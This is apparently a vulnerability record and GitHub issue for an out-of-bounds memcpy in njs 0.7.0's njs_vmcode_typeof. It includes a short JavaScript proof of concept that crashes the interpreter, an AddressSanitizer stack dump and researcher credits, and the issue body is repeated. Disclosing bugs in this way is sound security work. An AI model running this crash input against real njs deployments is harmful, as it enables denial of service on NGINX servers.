njs through 0.7.0, used in NGINX, was discovered to contain an out-of-bounds array access via njs_vmcode_typeof in /src/njs_vmcode.c.
cpe:2.3:a:nginx:njs:*:*:*:*:*:*:*:*
3FD7035D-FB25-44D9-A1EA-345A65981E2B
0.7.0
OR
## Env
```
Version    : 0.7.0
Git Commit : 2da5d8b246b806bee6f74b575217ec3b61a25548
OS         : Ubuntu 20.04
Configure  : ./configure --address-sanitizer=YES
```
## POC
```
function main() {
    const v2 = new ArrayBuffer();
    const v3 = new DataView(v2);
    const v5 = typeof v3;
}
main();
```
## Stack Dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==466645==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe5fea5cc5b bp 0x7ffe64718cb0 sp 0x7ffe64718468 T0)
==466645==The signal is caused by a READ memory access.
==466645==Hint: address points to the zero page.
    #0 0x7fe5fea5cc5b in memcpy /build/glibc-eX1tMB/glibc-2.31/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:142
    #1 0x495737 in __asan_memcpy (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x495737)
    #2 0x4e54bf in njs_vmcode_typeof /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:1521:18
    #3 0x4e54bf in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:594:23
    #4 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
    #5 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
    #6 0x4dea17 in njs_vm_start /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:493:11
    #7 0x4c7f3d in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:881:19
    #8 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:615:11
    #9 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15
    #10 0x7fe5fe9c50b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #11 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /build/glibc-eX1tMB/glibc-2.31/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:142 in memcpy
==466645==ABORTING
```
## Credit
P1umer, afang5472, Kotori of NeSE@IIE
illegal memcpy during njs_vmcode_typeof in /njs/src/njs_vmcode.c:1521:18
This is a GitHub Issue
repo:njs
owner:nginx
Title : illegal memcpy during njs_vmcode_typeof in /njs/src/njs_vmcode.c:1521:18
Issue date:

--- start body ---
## Env
```
Version    : 0.7.0
Git Commit : 2da5d8b246b806bee6f74b575217ec3b61a25548
OS         : Ubuntu 20.04
Configure  : ./configure --address-sanitizer=YES
```
## POC
```
function main() {
    const v2 = new ArrayBuffer();
    const v3 = new DataView(v2);
    const v5 = typeof v3;
}
main();
```
## Stack Dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==466645==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe5fea5cc5b bp 0x7ffe64718cb0 sp 0x7ffe64718468 T0)
==466645==The signal is caused by a READ memory access.
==466645==Hint: address points to the zero page.
    #0 0x7fe5fea5cc5b in memcpy /build/glibc-eX1tMB/glibc-2.31/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:142
    #1 0x495737 in __asan_memcpy (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x495737)
    #2 0x4e54bf in njs_vmcode_typeof /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:1521:18
    #3 0x4e54bf in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:594:23
    #4 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
    #5 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
    #6 0x4dea17 in njs_vm_start /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:493:11
    #7 0x4c7f3d in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:881:19
    #8 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:615:11
    #9 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15
    #10 0x7fe5fe9c50b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #11 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /build/glibc-eX1tMB/glibc-2.31/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:142 in memcpy
==466645==ABORTING
```
## Credit
P1umer, afang5472, Kotori of NeSE@IIE
--- end body ---

comments :
--- start comments ---

--- end comments ---